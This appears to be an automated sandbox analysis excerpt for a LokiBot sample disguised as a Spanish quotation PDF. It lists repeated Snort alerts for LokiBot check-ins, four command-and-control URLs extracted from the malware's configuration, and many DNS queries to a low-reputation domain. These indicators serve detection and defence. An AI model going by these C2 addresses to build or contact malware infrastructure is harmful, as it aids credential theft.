Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49831 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49832 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49832 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49832 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49833 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49833 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49833 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49834 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49834 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49834 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49835 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49835 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49835 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49836 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49836 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49836 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49837 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49837 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49837 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49838 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49838 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49838 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49839 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49839 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49839 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49840 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49840 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49840 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49841 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49841 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49841 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49842 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49842 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49842 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49843 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49843 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49843 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49844 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49844 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49844 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49845 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49845 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49845 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49846 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49846 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49846 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49847 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49847 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49847 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49848 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49848 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49848 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49849 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49849 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49849 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49850 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49850 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49850 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49851 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49851 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49851 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49852 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49852 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49852 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49853 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49853 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49853 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49854 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49854 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49854 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49855 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49855 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49855 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49856 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49856 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49856 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49857 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49857 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49857 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49858 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49858 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49858 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49859 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49859 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49859 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49860 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49860 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49860 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49861 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49861 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49861 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49862 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49862 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49862 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49863 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49863 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49863 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49864 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49864 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49864 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49865 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49865 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49865 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49866 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49866 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49866 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49867 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49867 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49867 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49868 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49868 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49868 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49869 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49869 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49869 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49870 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49870 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49870 -> 172.67.155.45:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
